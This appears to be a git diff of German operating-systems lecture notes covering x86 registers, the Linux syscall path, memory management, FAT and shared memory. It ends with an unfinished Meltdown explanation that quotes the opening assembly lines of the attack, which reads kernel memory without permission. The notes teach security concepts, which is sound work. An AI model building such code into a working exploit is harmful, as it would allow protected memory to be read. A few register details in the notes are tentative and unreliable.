+1. Quelle:
+
+  It means register, and it isn't all for historical reasons.
+
+  The historical part is that Intel got itself into the habit of enumerating
+  registers with letters with the 8008 (A through E plus H and L). That scheme
+  was more than adequate at the time because microprocessors had very few
+  registers and weren't likely to get more, and most designs did it. The
+  prevailing sentiment then was that software would be rewritten for new CPUs as
+  they appeared, so changing the register naming scheme between models wouldn't
+  have been a big deal. Nobody foresaw the 8088 evolving into a "family" after
+  being incorporated into the IBM PC, and the yoke of backward compatibility
+  pretty much forced Intel into having to adopt schemes like the "E" on 32-bit
+  registers to maintain it.
+
+  The non-historical part is all practical. Using letters for general-purpose
+  registers limits you to 26, fewer if you weed out those that might cause
+  confusion with the names of special-purpose registers like the program counter,
+  flags or the stack pointer.
+
+  I don't have a source to confirm it, but I suspect the choice of R as a prefix
+  and the introduction of R8 through R15 on 64-bit CPUs signals a transition to
+  numbered registers, which have been the norm among 32-bit-and-larger
+  architectures not derived from the 8008 for almost half a century. IBM did it
+  in the 1960s with the 360 and has been followed by the PowerPC, DEC Alpha,
+  MIPS, SPARC, ARM, Intel's i860 and i960 and a bunch of others that are
+  long-forgotten.
+
+  You'll note that the existing registers would fit nicely into R0 through R7 if
+  they existed, and it wouldn't surprise me a bit if they're treated that way
+  internally. The existing long registers (RAX/EAX/AX/AL, RBX/EBX/BX/BL, etc.)
+  will probably stay around until the sun burns out.
+
+rax/eax/ax/al = "accumulator"
+rbx/ebx/bx/bl = "base"
+rcx/ecx/cx/cl = "counter"
+rdx/edx/dx/dl = "data"
+
+rsi/esi/si = "source index" (64/32/16 Bit)
+rdi/edi/di = "destination index" (64/32/16 Bit)
+
+16-Bit-Assembler:
+
+  mov si <-- "Hello, world!\n" (Zeiger auf String)
+  mov di <-- Adresse einer Variablen (String dorthin kopieren)
+  mov cx <-- 14 (Länge)
+  rep movsb   (Kopierschleife in einem einzigen Assembler-Befehl mit Präfix)
+
+"CISC" - "Complex Instruction Set Computing"; z.B. x86-Architektur
+"RISC" - "Reduced Instruction Set Computing"; z.B. i860, Atmel, ARM, MIPS, RISC-V
+
+  Statt "rep movsb": explizite Schleife
+
+loop:
+  mov al <-- [si]
+  mov [di] <-- al
+  inc si
+  inc di
+  dec cx
+  jnz loop   (Jump if Not Zero)
+
+Intel i486: typischerweise 10 bis 30 Taktzyklen pro Befehl
+
+Intel i860: bis zu 3 Befehle pro Taktzyklus
+            Pipeline-Befehle
+            "delayed branch"
+            --> Nebenläufigkeit
+            --> mit 40 MHz ca. 6.5mal so schnell wie i486 mit 66 MHz
+
+loop:
+  mov al <-- [si]
+  mov [di] <-- al
+  inc si
+  dec cx
+  jnz loop   (Jump if Not Zero - "delayed")
+  inc di  <-- wird auf jeden Fall noch vor dem Sprung ausgeführt
+
+Warum kam der Übergang von CISC zu RISC?
+
+ - "rep movsb": etliche Takte pro "Schleifendurchlauf"
+ - andere Befehle: mehrere Takte pro Befehl
+
+ - RISC: typischerweise 1 Befehl pro Takt
+
+--> Eine "lange" Schleife in RISC verbraucht weniger
+    Takte pro Schleifendurchlauf als "rep movsb".
+--> RISC ist schneller.
+
+Systemaufrufe, 21.05.2021, 12:08:00
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+hello-2.c
+...
+--> _IO_new_do_write (f, ...)
+--> new_do_write (f, ...)
+--> _IO_SYSWRITE (fp, ...)
+--> __libc_write()
+Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
+--> return SYSCALL_CANCEL (write, fd, buf, nbytes);
+
+b+ │0x7ffff7eb54f0 <__GI___libc_write>      lea    0xd61f9(%rip),%rax        # 0x7ffff7f8b6f0 │
+  >│0x7ffff7eb54f7 <__GI___libc_write+7>    mov    (%rax),%eax                                │
+   │0x7ffff7eb54f9 <__GI___libc_write+9>    test   %eax,%eax                                  │
+   │0x7ffff7eb54fb <__GI___libc_write+11>   jne    0x7ffff7eb5510 <__GI___libc_write+32>      │
+   │0x7ffff7eb54fd <__GI___libc_write+13>   mov    $0x1,%eax                                  │
+   │0x7ffff7eb5502 <__GI___libc_write+18>   syscall                                           │
+   │0x7ffff7eb5504 <__GI___libc_write+20>   cmp    $0xfffffffffffff000,%rax                   │
+   │0x7ffff7eb550a <__GI___libc_write+26>   ja     0x7ffff7eb5560 <__GI___libc_write+112>     │
+   │0x7ffff7eb550c <__GI___libc_write+28>   retq                                              │
+   │0x7ffff7eb550d <__GI___libc_write+29>   nopl   (%rax)                                     │
+   │0x7ffff7eb5510 <__GI___libc_write+32>   push   %r12                                       │
+   │0x7ffff7eb5512 <__GI___libc_write+34>   mov    %rdx,%r12                                  │
+   │0x7ffff7eb5515 <__GI___libc_write+37>   push   %rbp                                    
+
+lea: Lade einen Zeiger aus einer konstanten Tabelle in das rax-Register
+mov: Lade das, worauf der Zeiger zeigt, in das eax-Register
+test: Prüfe, welchen Wert eax hat
+jne: Jump if Not Equal = bedingter Sprung, falls ungleich 0 (Vermutung: Fehler)
+mov: Lade die Zahl 1 als Parameter für syscall in das eax-Register. 1 steht für "write".
+syscall: übergebe an den Kernel --> schreibt "Hello, world!\n" auf den Bildschirm
+cmp: Vergleiche den Wert von eax mit einer Zahl
+ja: Jump if Above (Prüfen auf Fehler)
+retq: Beende die Funktion
+
+syscall erwartet Parameter in den Prozessor-Registern:
+  eax: Nummer der Funktion, die aufgerufen werden soll
+  rsi: Zeiger auf die auszugebenden Daten
+       (siehe: https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-1.html)
+  ebx oder edx: Länge der auszugebenden Daten
+  (ggf. weitere Register)
+
+Kernel, 25.05.2017, 17:53:23
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Fragestellung: Wir haben in der glibc beim Maschinenbefehl "syscall"
+aufgehört. Wie geht es nun im Kernel weiter? Wer nimmt den Funktions-
+aufruf entgegen?
+
+Suchbegriff: sys_call_table
+
+--> Es gibt eine Tabelle, die für jeden der durchnumerierten Systemaufrufe
+    einen Zeiger auf die aufzurufende Funktion enthält.
+
+--> Der Maschinenbefehl "syscall" ruft eine Funktion innerhalb des
+    Kernels auf. Wo steht, welche Funktion das ist?
+
+arch/x86/entry/syscall_64.c: Defnition des Arrays sys_call_table
+
+Initialisiertes Array von Zeigern auf Funktionen.
+Zunächst zeigen alle Zeiger auf die Funktion sys_ni_syscall(),
+die lediglich eine Fehlermeldung zurückgibt ("nicht implementiert").
+Danach werden auf diejenigen Funktionen, die es tatsächlich gibt
+Zeiger initialisiert. Dies erfolgt durch ein #include der Datei
+/usr/src/linux-headers-4.19.0-8-amd64/arch/x86/include/generated/asm/syscalls_64.h
+mit vorheriger Definition eines Präprozessor-Macros __SYSCALL().
+
+  asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
+          /*
+           * Smells like a compiler bug -- it doesn't work
+           * when the & below is removed.
+           */
+          [0 ... __NR_syscall_max] = &sys_ni_syscall,
+  #include <asm/syscalls_64.h>
+  -->     [0] = __x64_sys_read,
+          [1] = __x64_sys_write,
+          [2] = __x64_sys_open,
+          ...
+  };
+
+Vorher wurden mit demselben Trick alle Funktionen vorwärts-deklariert:
+
+  #define __SYSCALL_64(nr, sym, qual) extern asmlinkage long sym(const struct pt_regs *);
+  #include <asm/syscalls_64.h>
+  -->  extern asmlinkage long __x64_sys_read(const struct pt_regs *);
+       extern asmlinkage long __x64_sys_write(const struct pt_regs *);
+       extern asmlinkage long __x64_sys_open(const struct pt_regs *);
+       ...
+  #undef __SYSCALL_64
+
+Wie können wur nun dafür sorgen, daß der Befehl syscall dieses Array
+auch benutzt?
+
+arch/x86/entry/entry_64.S enthält eine Funktion entry_SYSCALL_64,
+die eine Funktion "do_syscall_64()" aufruft
+und sich über "USERGS_SYSRET64" beendet.
+Dies ist ein Präprozessor-Makro, der zu "swapgs; sysretq;" expandiert
+(Definition in include/asm/irqflags.h).
+
+Woher kommt die Include-Datei in "generated"?
+arch/x86/entry/syscalls/Makefile ruft das Shell-Skript syscalltbl.sh auf.
+Dieses liest syscall_64.tbl und erzeugt daraus syscall_64.h.
+
+Damit haben wir die Funktion gefunden, die den Syscall entgegennehmen soll.
+Daraus ergeben sich neue Fragen:
+1. Wie sorge ich dafür, daß sie tatsächlich bei "syscall" aufgerufen wird?
+2. Wie geht es von dort aus weiter bis zu der Tabelle "sys_call_table"?
+
+zu 1.:
+Suche nach "entry_SYSCALL_64" liefert:
+arch/x86/kernel/cpu/common.c: wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
+
+Was bedeutet "wrmsrl"?
+https://sites.google.com/site/masumzh/articles/hypervisor-based-virtualization/compute-virtualization
+"As shown below, the content of the IA32_LSTAR MSR (Model Specific Register)
+is copied to the instruction pointer register (RIP) [...]"
+
+Demnach ist das Prozessorregister "IA32_LSTAR MSR" die Einsprungadresse,
+zu der der "syscall"-Aufruf springen soll.
+Um das Register "IA32_LSTAR MSR" zu setzen, gibt es den Befehl "wrmsrl"
+(Write MSR (long = 32 Bit)).
+Offensichtlich ist das MSR ein Array, und "IA32_LSTAR" ist der Index.
+
+zu 2.:
+arch/x86/entry/common.c enthält die C-Funcktion do_syscall_64().
+Diese enthält die Zeile "regs->ax = sys_call_table[nr](regs);", also den
+Aufruf der Funktion, auf die ein Zeiger in der tabelle "sys_call_table"
+an der Stelle "nr" gespeichert ist.
+
+--> Weiter geht's mit dem Eintrag in sys_call_table,
+    also mit der Implementation von sys_write().
+
+Die Tabelle wird benutzt in der Funktion do_syscall_64():
+
+  regs->ax = sys_call_table[nr](regs);
+
+Wo wird die Funktion __x64_sys_write definiert?
+Wenn man lange genug sucht, findet man: arch/x86/include/asm/syscall_wrapper.h
+Dort steht eine kleine Funktion __x64_sys_write(), die ihrerseits eine Funktion
+__se_sys_write() aufruft.
+
+Der Präprozessor-Makro __SYSCALL_DEFINEx() wird über einen anderen Präprozessor-Makro
+SYSCALL_DEFINEx() aufgerufen, der in include/linux/syscalls.h definiert wird
+und seinerseits über SYSCALL_DEFINE3() aufgerufen wird, der ebenfalls in
+include/linux/syscalls.h definiert wird.
+
+Wenn man lange genug sucht, findet man: fs/read_write.c
+SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf, size_t, count)
+
+Dort wird eine Funktion definiert, die ihrerseits eine Funktion ksys_write() aufruft.
+Diese enthält:
+
+  ret = vfs_write(f.file, buf, count, &pos);
+
+Hier passiert das eigentliche Schreiben.
+
+Ebenfalls in fs/read_write.c:
+
+  ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
+
+Diese ruft auf:
+
+  ret = __vfs_write(file, buf, count, pos);
+
+Ebenfalls in fs/read_write.c:
+
+  ssize_t __vfs_write(struct file *file, const char __user *p, size_t count, loff_t *pos)
+
+Diese ruft auf:
+
+  if (file->f_op->write) return file->f_op->write(file, p, count, pos);
+
+:-)
+
+Jetzt fehlt nur noch: Wie bekommt f_op->write den Wert, den das Modul hinterlegt hat?
+
+Der Funktion wird ein Parameter "file" übergeben.
+Dies ist eine "struct file", die u.a. ein Feld "f_op" enthält,
+das auf ein weiteres struct mit Callback-Funktionen zeigt.
+
+Wie kommen die "richtigen" Callback-Funktionen dort hinein?
+Eigentlich müßte dies bei register_chrdev() passieren.
+Schauen wir uns daher an, was register_chrdev() eigentlich macht.
+
+Dies ist definiert in include/linux/fs.h und ruft die Funktion
+__register_chrdev() auf.
+
+Diese wiederum ist definiert in fs/char_dev.c.
+Sie alloziert eine cdev-Struktur und speichert darin die fops.
+Die cdev-Struktur wird dann mittels cdev_add() in eine Liste eingefügt.
+Hierfür ruft cdev_add() die Funktion kobj_map() auf.
+Diese Funktion wird in drivers/base/map.c definiert
+und legt die cdev-Struktur in einer Hash-Tabelle ab.
+Der letzte Parameter "data" ist dabei der Zeiger auf die cdev-Strutur,
+die auch die fops enthält.
+
+Wie kommen nun die fops von der Hash-Tabelle aus in die file-Struktur?
+
+Vermutung: Dies geschieht beim Öffnen der Datei.
+
+In fs/open.c gibt es eine Funktion vfs_open().
+Diese sucht den zur Datei gehörenden inode heraus und ruft damit do_dentry_open() auf.
+
+Theorie der Dateisysteme: Dateien werden durch "inodes" repräsentiert.
+
+include/linux/fs.h: Definition "inode"
+
+  Die "struct inode" enthält ein Datenfeld "i_rdev", in dem die Major- und Minor-Nr.
+  der Gerätedatei gemeinsam gespeichert sind.
+
+  --> Sobald wir einen inode kennen, kennen wir Major- und Minor-Nr. der Gerätedatei.
+
+do_dentry_open() schreibt den inode in die file-Struktur,
+holt die fops aus dem inode und legt sie direkt in der file-Struktur ab.
+
+# Das einzige, was jetzt noch fehlt: Wie kommen die fops in den inode?
diff --git a/20210528/bs-20210528.txt b/20210528/bs-20210528.txt
new file mode 100644
index 0000000000000000000000000000000000000000..77d27c416c291050c618df81f41e309c1518aaf6
--- /dev/null
+++ b/20210528/bs-20210528.txt
@@ -0,0 +1,230 @@
+Hauptspeicherverwaltung, 28.05.2021, 12:09:52
+=============================================
+
+Intel-16-Bit-Rechner ("Real Mode")
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Segment- und Offset-Adresse
+
+B800:0010: 67
+`--' `--'
+ |    |
+ |    `--->  0010     Offset
+ `--------> B800    + 16 * Segment
+            -----
+            B8010   = physikalische Adresse
+
+Grund:
+Hierdurch möglich, Programme in 16-Byte-Schritten
+an beliebige Stellen im Speicher zu verschieben
+"Relokation"
+Adressen, die das Programm verwendet, sind grundätzlich
+nur Offset-Adressen. Das Betriebssystem vergibt die
+Segment-Adressen.
+
+Segment-Register:
+ - CS: Codesegment
+ - DS: Datensegment
+ - ES: Extra-Segment
+ - SS: Stack-Segment
+... jeweils bis zu 64 kiB
+
+--> Das Betriebssystem kann dem Programm bis zu 256 kiB zur Verfügung stellen.
+    Dies sollte für alle Zeiten reichen. ;-)
+
+--> Programme, die mehr als 256 kiB benötigen,
+    manipulieren die Segmentregister selbst.
+    Damit kann das Programm bis zu 1 MiB ansprechen.
+    Dies sollte für alle Zeiten reichen. ;-)
+
+Intel-32-Bit-Rechner ("Protected Mode")
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Offset-Adressen: 32 Bit
+Segment-Adresse: wird zu "Selektor" = Index für ein Array,
+                 das sich intern im Prozessor befindet
+                 und die eigentlichen Segmente beschreibt --> "Deskriptoren"
+
+Inhalt der Deskriptorentabelle:
+ - Lage des Segments im Speicher (als 32-Bit-Wert)
+ - Länge des Segments im Speicher (als 32-Bit-Wert)
+   (eigentlich immer 4 GiB; läßt sich auf diese Weise
+   mit Hardware-Untersützung begrenzen)
+   Bei Zugriff außerhalb des zugewiesenen Segments wird im
+   Prozessor eine "Exception" ausgelöst (ähnlich Interrupt).
+ - Präsenz-Bit: Segmente können entweder im physikalischen Speicher vorhanden sein
+   oder (z.B. auf Festplatte) ausgelagert sein. Bei Zugriff auf ein ausgelagertes
+   Segment wird eine Exception ausgelöst.
+ - Privilegierung: Wer darf dieses Segment nutzen?
+   Der Kernel hat mehr Rechte als die Anwenderprogramme.
+ - Segmenttyp: Ist dieses Segment lesbar/schreibbar/ausführbar?
+
+Vorteile:
+ - Maximale Speichergröße: 4 GiB statt 256 kiB.
+   Dies sollte für alle Zeiten reichen. ;-)
+ - Schutz des Kernels und der Anwendungsprogramme vor gegenseitiger Manipulation
+ - Auslagern von Speicher wird möglich.
+
+Was noch fehlt:
+ - Auslagern von Speicher nur segmentweise möglich.
+   --> Ein Programm kann immer nur als Ganzes ausgelagert werden.
+
+Memory Management Unit (MMU)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+https://de.wikipedia.org/wiki/Memory_Management_Unit:
+
+ - Auslagern von z.Zt. nicht benötigtem Speicher
+ - Verzögertes Bereitstellen von angefordertem, aber noch nicht genutztem Speicher.
+ - Isolation von Prozessen untereinander und zwischen Prozess und Betriebssystem
+ - Sharing von einzelnen Seiten zwischen Prozessen (Shared Memory)
+ - Non-Sharing von Seiten zwischen Threads eines Prozesses (Thread-local storage)
+ - Einblenden von Dateien als Speicher (Memory-mapped files)
+
+Die MMU unterteilt das dem Programm zugeordnete Segment
+und den physikalischen Speicher in "Seiten" (typischerweise 4 kiB)
+und ordnet diese einander zu, nicht notwendigerweise linear.
+Auch können Speicherseiten ausgelagert sein. (Damit wird die
+bereits im Protected Mode realisierte Auslagerung von Segmenten
+überflüssig.)
+
+Es können also z.B. zwei verschiedene Programme dieselbe Speicheradresse "sehen";
+dahinter verbergen sich jedoch zwei unterschiedliche Adressen im physikalischen
+Speicher.
+
+Massenspeicherverwaltung, 28.05.2021, 13:49:15
+==============================================
+
+"Dateisystem" = Schema, wie man Daten auf dem Datenträger ablegt und wiederfindet
+
+Beispiel: test-tab.txt
+
+  Datenträger: USB-Stick
+  Größe: 4 GB
+  Inhalt:
+
+    Adresse   Länge   Datei
+    0         14      test-1.txt
+    14        28      test-2.txt
+    ...       ...     ...
+
+--> mit auf dem Datenträger speichern
+
+File Allocation Table (FAT)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ - Unterteilung des Datenträgers in "Cluster" von fester Größe,
+   z.B. 1 kiB, 2 kiB, 4 kiB (bis hierhin: gut), ..., 64 kiB (schlecht)
+ 
+ - File Allocation Table (FAT) = Tabelle aller Cluster
+   Die maximale Größe der Tabelle kann 2^12, 2^16 oder 2^32 betragen.
+   Jeder Eintrag ist 12 oder 16 oder 32 Bit groß und kann somit
+   als Index für die Tabelle genutzt werden.
+
+   --> Maximale Größe des Datenträgers = Größe der FAT * Größe des Clusters
+       Beispiel: FAT16: 2^16 * 64 kiB = 4 GiB,
+       Problem mit Vorzeichen: nur 2 GiB
+
+   Bei "vernünftiger" Cluster-Größe von 4 kiB: 2^16 * 4 kiB = 256 MiB,
+   mit Vorzeichenproblem sogar nur 2^15 * 4 kiB = 128 MiB
+
+ - Bedeutung der Werte am Beispiel FAT16:
+   0000:          Cluster ist nicht von einer Datei (oder einem Verzeichnis) belegt
+   0002 bis FFF6: Cluster ist Teil einer Cluster-Kette; Wert = nächster Cluster in Kette
+   FFF7:          Cluster ist defekt
+   FFF8 bis FFFF: Cluster ist der letzte Cluster einer Cluster-Kette
+
+ - Zugriff auf eine Datei über deren ersten Cluster, z.B. 0004,
+   an den sich eine verkettete Liste von Clustern anschließt.
+   Länge der Datei: 5 Cluster
+
+   FAT
+     0000
+     0000
+     0000
+     0000
+     0005  <-- Cluster Nr. 0004 = erster Cluster der Kette
+     0006  <-- 2. Cluster der Kette
+     0008
+     FFF7  <-- defekten Cluster überspringen
+     0009
+     FFF8  <-- letzter Cluster der Kette
+     0000
+     0000
+     ...
+
+   --> Eine Datei belegt immer mindestens 1 Cluster.
+       Daher sind große Cluster (z.B. 64 kiB) schlecht.
+
+ - Zur Sicherheit befindet sich die FAT zweimal auf dem Datenträger.
+   Damit sind die Cluster 0 und 1 belegt.
+   Daher: 1. Cluster für Dateien = Nr. 0002
+
+ - Nach den FATs: Stamm- oder Wurzelverzeichnis (root directory)
+
+   Tabelle fester Größe
+   Jeder Eintrag:
+    - Dateiname: 11 Bytes, 8 Zeichen für Dateinamen, 3 für "Erweiterung", z.B. "COMMAND.COM"
+    - Datei-Attribute: 1 Byte, z.B.:
+       - Lesen/Schreiben
+       - versteckte Dateien
+       - "System-Datei"
+       - "Archiv-Bit" (für Backup-Software)
+       - Datei ist Unterverzeichnis
+       - Datei ist Volume-Label (= Name des Datenträgers)
+    - Datum und Zeit der letzten Änderung
+       - Speicherung: 5 Bit für Stunde, 6 für MInute, 5 für Sekunde
+         --> Sekunden mit 2s Auflösung
+    - ...
+    - Start-Cluster der Datei
+    - Länge der Datei in Bytes
+
+ - Problem: Fragmentierung
+   
+   Dateien sind als verkettete Listen gespeichert.
+
+   Datei A speichern:
+
+        A
+        A
+        A
+        A
+
+   Datei B speichern:
+
+        A
+        A
+        A
+        A
+        B
+        B
+        B
+        B
+
+   Datei A löschen:
+
+        -
+        -
+        -
+        -
+        B
+        B
+        B
+        B
+
+   Datei C speichern:
+
+        C
+        C
+        C
+        C
+        B
+        B
+        B
+        B
+        C
+        C
+        C
+        C
+
+   --> Datei C ist fragmentiert.
+
+   Nach längerer Benutzung sind FAT-Datenträger häufig komplett fragmentiert.
+   --> langsamer
+   --> Defragmentierung sinnvoll.
diff --git a/20210528/fat-1.txt b/20210528/fat-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..46926ac620314b6f1cff1c525ff9cc066ff01793
--- /dev/null
+++ b/20210528/fat-1.txt
@@ -0,0 +1,59 @@
+cassini/home/peter/bo/2021ss/bs/20210528> for x in $(seq 5); do touch test-$x.txt; sleep 1s; done
+cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt
+insgesamt 72
+-rw-r--r-- 1 peter peter 51036 Mai 28 12:57 mmu.xcf.gz
+-rw-r--r-- 1 peter peter   160 Mai 28 14:05 test-tab.txt
+-rw-r--r-- 1 peter peter  6361 Mai 28 14:46 bs-20210528.txt
+-rw-r--r-- 1 peter peter    14 Mai 28 14:47 test-1.txt
+-rw-r--r-- 1 peter peter    19 Mai 28 14:47 test-2.txt
+-rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-3.txt
+-rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-4.txt
+-rw-r--r-- 1 peter peter     0 Mai 28 14:47 test-5.txt
+cassini/home/peter/bo/2021ss/bs/20210528> ls --full-time -lrt
+insgesamt 72
+-rw-r--r-- 1 peter peter 51036 2021-05-28 12:57:49.619244900 +0200 mmu.xcf.gz
+-rw-r--r-- 1 peter peter   160 2021-05-28 14:05:19.225937663 +0200 test-tab.txt
+-rw-r--r-- 1 peter peter  6361 2021-05-28 14:46:19.903177871 +0200 bs-20210528.txt
+-rw-r--r-- 1 peter peter    14 2021-05-28 14:47:17.859771765 +0200 test-1.txt
+-rw-r--r-- 1 peter peter    19 2021-05-28 14:47:18.863782073 +0200 test-2.txt
+-rw-r--r-- 1 peter peter     0 2021-05-28 14:47:19.867792382 +0200 test-3.txt
+-rw-r--r-- 1 peter peter     0 2021-05-28 14:47:20.875802732 +0200 test-4.txt
+-rw-r--r-- 1 peter peter     0 2021-05-28 14:47:21.883813083 +0200 test-5.txt
+cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/
+mount: /media/usb1: wrong fs type, bad option, bad superblock on /dev/sdb1, missing codepage or helper program, or other error.
+cassini/home/peter/bo/2021ss/bs/20210528> echo sudo mkdosfs /dev/sdb1
+sudo mkdosfs /dev/sdb1
+cassini/home/peter/bo/2021ss/bs/20210528> sudo mkdosfs /dev/sdb1
+[sudo] Passwort für peter:
+mkfs.fat 4.1 (2017-01-24)
+cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1/
+cassini/home/peter/bo/2021ss/bs/20210528> ls -l /media/usb1/
+insgesamt 0
+cassini/home/peter/bo/2021ss/bs/20210528> cp -pi test-*.txt /media/usb1/
+cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt /media/usb1/
+insgesamt 12
+-rwxr-xr-x 1 peter peter 160 Mai 28 14:05 test-tab.txt
+-rwxr-xr-x 1 peter peter  14 Mai 28 14:47 test-1.txt
+-rwxr-xr-x 1 peter peter  19 Mai 28 14:47 test-2.txt
+-rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-3.txt
+-rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-4.txt
+-rwxr-xr-x 1 peter peter   0 Mai 28 14:47 test-5.txt
+cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/
+insgesamt 12
+-rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:19.000000000 +0200 test-tab.txt
+-rwxr-xr-x 1 peter peter  14 2021-05-28 14:47:17.000000000 +0200 test-1.txt
+-rwxr-xr-x 1 peter peter  19 2021-05-28 14:47:18.000000000 +0200 test-2.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:19.000000000 +0200 test-3.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-4.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:21.000000000 +0200 test-5.txt
+cassini/home/peter/bo/2021ss/bs/20210528> umount /media/usb1
+cassini/home/peter/bo/2021ss/bs/20210528> mount /media/usb1
+cassini/home/peter/bo/2021ss/bs/20210528> ls -lrt --full-time /media/usb1/
+insgesamt 12
+-rwxr-xr-x 1 peter peter 160 2021-05-28 14:05:18.000000000 +0200 test-tab.txt
+-rwxr-xr-x 1 peter peter  14 2021-05-28 14:47:16.000000000 +0200 test-1.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:18.000000000 +0200 test-3.txt
+-rwxr-xr-x 1 peter peter  19 2021-05-28 14:47:18.000000000 +0200 test-2.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-5.txt
+-rwxr-xr-x 1 peter peter   0 2021-05-28 14:47:20.000000000 +0200 test-4.txt
+cassini/home/peter/bo/2021ss/bs/20210528>
diff --git a/20210528/mmu.png b/20210528/mmu.png
new file mode 100644
index 0000000000000000000000000000000000000000..caa39cb2e987cff55d5fb25c61d075c745f6c630
Binary files /dev/null and b/20210528/mmu.png differ
diff --git a/20210528/mmu.xcf.gz b/20210528/mmu.xcf.gz
new file mode 100644
index 0000000000000000000000000000000000000000..9c9f745196c8a87c30a207f39c8588b4dcec85fd
Binary files /dev/null and b/20210528/mmu.xcf.gz differ
diff --git a/20210528/test-1.txt b/20210528/test-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..af5626b4a114abcb82d63db7c8082c3c4756e51b
--- /dev/null
+++ b/20210528/test-1.txt
@@ -0,0 +1 @@
+Hello, world!
diff --git a/20210528/test-2.txt b/20210528/test-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d7e5cff47f0303c2d892d3e790e00552759b639c
--- /dev/null
+++ b/20210528/test-2.txt
@@ -0,0 +1 @@
+Dies ist ein Test.
diff --git a/20210528/test-3.txt b/20210528/test-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20210528/test-4.txt b/20210528/test-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20210528/test-5.txt b/20210528/test-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20210528/test-tab.txt b/20210528/test-tab.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e7f7da6021c9b3bc8cd82215516f4f374a25ca7a
--- /dev/null
+++ b/20210528/test-tab.txt
@@ -0,0 +1,8 @@
+Datenträger: USB-Stick
+Größe: 4 GB
+Inhalt:
+
+  Adresse   Länge   Datei
+  0         14      test-1.txt
+  14        28      test-2.txt
+  ...       ...     ...
diff --git a/20210604/bs-20210604.txt b/20210604/bs-20210604.txt
new file mode 100644
index 0000000000000000000000000000000000000000..66c42207450821cc5674a05649657c5cb69b5a16
--- /dev/null
+++ b/20210604/bs-20210604.txt
@@ -0,0 +1,114 @@
+Ergänzung: Hauptspeicherverwaltung, 04.06.2021, 11:44:33
+========================================================
+
+Gemeinsamer Speicherzugriff mehrerer Programme – Shared Memory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Ein Programm kann Shared Memory anfordern
+und wie eine Datei ansprechen: Name, read(), write(), close()
+
+Es ist möglich, diese "Datei" in einen Zeiger umzuwandeln.
+Ab da kann ich auf den Shared Memory "normal" zugreifen.
+
+Es ist auch möglich, eine echte Datei in einen Zeiger umzuwandeln.
+Ab da kann ich auf die Datei wie auf Speicher zugreifen.
+Achtung: Die Datei muß mindestens 1 Byte groß sein.
+Es ist nicht möglich, auf diese Weise die Länge der Datei zu ändern,
+sondern ich kann dort nur Bytes überschreiben.
+
+Anwendungen:
+
+ - Shared Memory: Kommunikation zwischen mehreren Programmen
+
+ - Ganz andere Art, mit Dateien umzugehen, z.B.:
+   Eine Datei, die ein binär abgespeichertes Array enthält,
+   vom Programm aus als Array ansprechen.
+
+ - Direktes Ansprechen von Speicherzellen über die Gerätedatei /dev/mem
+
+   cassini/home/peter/bo/2021ss/bs/20210604> ls -l /dev/mem
+   crw-r----- 1 root kmem 1, 1 Apr  6 09:59 /dev/mem
+
+ - Anwendung davon: Ansprechen der GPIOs auf Einplatinen-Computern,
+   z.B. Olimex oder Raspberry Pi
+   Nach einem mmap auf die Datei /dev/mem können wir
+   über einen Zeiger direkt physikalische Speicherzellen ansprechen.
+
+Literatur:
+https://openbook.rheinwerk-verlag.de/linux_unix_programmierung/Kap18B-003.htm
+
+
+                             Pause bis 13:45 Uhr
+                             *******************
+
+
+13:17 Uhr: Ich muß *jetzt* zur Autowerkstatt. Für den Fall, daß ich
+nicht rechtzeitig zurück bin, schaut Euch bitte schon mal die Seite
+https://de.wikipedia.org/wiki/Meltdown_(Sicherheitslücke) an und
+versucht, das dortige Beispielprogramm zu verstehen. Bis nachher!
+
+Die Meltdown-Sicherheitslücke, 04.06.2021, 14:23:55
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Sicherheitslücke: Der Prozessor liest mehrere Befehle im Voraus,
+bevor er sie ausführt. Dadurch wird es möglich, Speicher ohne
+Berechtigung auszulesen.
+
+  ; rcx = kernel address
+  ; rbx = probe array
+  retry:
+  movzx rax, byte [rcx]        ; Lädt den Inhalt der auszulesenden Speicherstelle in Register rax.
+                               ; Das führt zu einer Ausnahmebehandlung.
+                               ; Der folgende Code wird nur prozessorintern im Voraus ausgeführt.
